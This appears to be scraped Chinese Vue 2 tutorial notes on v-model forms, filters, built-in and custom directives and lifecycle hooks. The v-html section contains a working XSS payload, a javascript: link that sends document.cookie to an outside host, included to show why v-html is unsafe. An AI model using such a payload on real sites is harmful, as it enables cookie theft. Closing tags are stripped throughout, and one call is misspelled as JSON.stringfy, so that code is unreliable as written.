目录
若:,则v-model收集的是value值,用户输入就是value值
若:,则v-model收集的是value值,且要给标签配置value值
若:
备注:v-model的三个修饰符:
- html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Documenttitle>
- <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js">script>
-
- head>
- <body>
- <div id="root">
- <form @submit.prevent="demo">
-
-
- 账号:<input type="text" v-model.trim="userInfo.account"><br><br>
- 密码:<input type="password" v-model="userInfo.password"><br><br>
- 年龄:<input type="number" v-model.number="userInfo.age"><br><br>
- 性别:
- 男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
- 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
- 爱好:
- 学习<input type="checkbox" v-model="userInfo.hobby" value="study">
- 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
- 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
- <br><br>
- 所属校区
- <select v-model="userInfo.city">
- <option value="">请选择校区option>
- <option value="beijing">北京option>
- <option value="shanghai">上海option>
- <option value="shenzhen">深圳option>
- <option value="wuhan">武汉option>
- select>
- <br><br>
- 其他信息:
- <textarea v-model.lazy="userInfo.other">textarea>
- <br><br>
- <input type="checkbox" v-model="userInfo.agree">
- 阅读并接受<a href="javascript:;">《用户协议》a> <br><br>
- <button>提交button>
- form>
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- data:{
- userInfo:{
- account:'',
- password:'',
- age:'',
- sex:'female',
- hobby:[],
- city:'beijing',
- other:'',
- agree:''
- }
-
- },
- methods:{
- demo(){
- // alert(1)
- // console.log(this.account);
- console.log(JSON.stringfy(this.userInfo));
- }
- }
-
- })
-
- script>
- html>
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
语法:
备注:
- html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Documenttitle>
- <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js">script>
- <script src="dayjs.min.js">script>
- head>
- <body>
- <div id="root">
- <h2>显示格式化后的时间h2>
-
- <h3>现在是:{{fmtTime}}h3>
-
- <h3>现在是:{{getfmtTime()}}h3>
-
- <h3>现在是:{{time|timeFormater}}h3>
-
- <h3>现在是:{{time|timeFormater('YYYY_MM_DD')|mySlice}}h3>
- <h3 :x="msg |mySlice">尚硅谷h3>
- div>
- <div id="root2">
- <h2>{{msg|mySlice}}h2>
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- // 全局过滤器
- Vue.filter('mySlice',function(value){
- return value.slice(0,4)
- })
- new Vue({
- el:'#root',
- data:{
- time:1621561377603,//时间戳
- msg:'你好,尚硅谷'
- },
- computed:{
- fmtTime(){
- return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
- }
- },
- methods: {
- getfmtTime(){
- return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
- }
- },
- filters:{
- // 局部过滤器
- timeFormater(value){
- return dayjs(value).format('YYYY年MM日DD日 HH:mm:ss')
- },
- mySlice(value){
- return value.slice(0,4)
- }
- }
-
- })
- new Vue({
- el:'#root2',
- data:{
- msg:'hello!atguigu'
- }
- })
-
- script>
- html>
| v-bind | 单向绑定解析表达式,可简写为:xxx |
| v-model | 双向数据绑定 |
| v-for | 遍历数组/对象/字符串 |
| v-on | 绑定事件监听,可简写为@ |
| v-if | 条件渲染(动态控制节点是否存在) |
| v-else | 条件渲染(动态控制节点是否存在) |
| v-show | 条件渲染(动态控制节点是否展示) |
作用:向其所在的节点中渲染文本内容
与插值语法的区别:v-text会替换数据中的内容,{{xx}}则不会
- <body>
- <div id="root">
- <div>你好,{{name}}div>
- <div v-text="name">div>
- <div v-text="str">div>
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- data:{
- name:'guigu',
- str:'
你好
' - }
-
- })
-
- script>
1.作用:向指定节点中渲染包含html结构的内容
2.与插值语法的区别:
3.严重注意:v-html有安全性问题


- <body>
- <div id="root">
- <div>你好,{{name}}div>
- <div v-html="str">div>
- <div v-html="str2">div>
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- data:{
- name:'guigu',
- str:'<h3>你好h3>',
- // str2:'<a href=javascript:alert(1)>兄弟我找到你想要的资源了,快来!a>',
- str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!a>'
-
- }
-
- })
-
- script>
- <style>
- [v-cloak]{
- display: none;
- }
- style>
- <body>
- <div id="root">
- <h2 v-cloak>{{name}}h2>
- div>
- body>
- <script>
- console.log(1);
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- data:{
- name:'atguigu'
- }
-
- })
-
- script>
- <body>
- <div id="root">
- <h2 v-once>初始化的n值为:{{n}}h2>
- <h2>当前的值为:{{n}}h2>
- <button @click="n++">点我n+1button>
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- data:{
- n:1
- }
-
- })
-
- script>

- <div id="root">
- <h2 v-pre>Vue很简单h2>
- <h2 v-pre>当前的值为:{{n}}h2>
- div>

- html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Documenttitle>
- <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js">script>
-
- head>
- <body>
-
- <div id="root">
- <h2>{{name}}h2>
- <h2>当前的n值是: <span v-text="n">span>h2>
- <h2>放大10倍后的n值是:<span v-big="n">span>h2>
- <button @click="n++">点我n++button>
-
- <hr>
- <input type="text" v-fbind="n">
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- data:{
- name:'atguigu',
- n:1
- },
- directives:{
- big(element,binding){
- // console.log('big');
- element.innerText=binding.value*10
- // console.log(element,binding);
- },
- fbind:{
- // 指令与元素成功绑定时(一上来)
- bind(element,binding){
- element.value=binding.value
- },
- // 指令所在元素被插入页面时
- inserted(element,binding){
- element.focus()
- },
- // 指令所在的模板被重新解析时
- update(element,binding){
- element.value=binding.value
- }
- }
- }
-
- })
-
- script>
- html>
big函数何时会被调用?
注意:指令里面的回调函数this指向的是window
1.定义语法:
1)局部指令:
- directives:{
- big(element,binding){
- // console.log('big');
- element.innerText=binding.value*10
- // console.log(element,binding);
- },
- fbind:{
- // 指令与元素成功绑定时(一上来)
- bind(element,binding){
- element.value=binding.value
- },
- // 指令所在元素被插入页面时
- inserted(element,binding){
- element.focus()
- },
- // 指令所在的模板被重新解析时
- update(element,binding){
- element.value=binding.value
- }
- }
- }
new Vue({directives:{指令名:配置对象}或new Vue({directives{指令名:回调函数}
2)全局指令:
- Vue.directive("big", function (element, binding) {
- // console.log('big');
- element.innerText = binding.value * 10;
- // console.log(element,binding);
- });
-
- Vue.directive("fbind", {
- // 指令与元素成功绑定时(一上来)
- bind(element, binding) {
- element.value = binding.value;
- },
- // 指令所在元素被插入页面时
- inserted(element, binding) {
- element.focus();
- },
- // 指令所在的模板被重新解析时
- update(element, binding) {
- element.value = binding.value;
- },
- });
Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)
2.配置对象中常用的3个回调:
3.备注:
- <body>
- <div id="root">
- <h2 v-if="a">你好啊h2>
- <h2 :style="{opacity}">欢迎学习Vueh2>
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- data:{
- a:false,
- opacity:1
- },
- // Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
- mounted() {
- console.log('mounted',this);
- setInterval(()=>{
- this.opacity-=0.01
- if(this.opacity<=0)
- this.opacity=1
- },16)
-
- },
-
- })
-
- script>



- <body>
- <div id="root">
- <h2>当前的n值为{{n}}h2>
- <button @click="add">点我n+1button>
- div>
- body>
- <script>
- Vue.config.productionTip=false//阻止vue在启动时生成生产提示
- new Vue({
- el:'#root',
- // template:'
当前的n值为{{n}}
', - data:{
- n:1
- },
- methods:{
- add(){
- this.n++
- }
- },
- beforeCreate() {
- console.log('beforeCreate');
- },
- beforeMount() {
- console.log('beforeMount')
- console.log(this);
- debugger;
- },
- mounted() {
- console.log('mounted');
- },
-
- })
-
- script>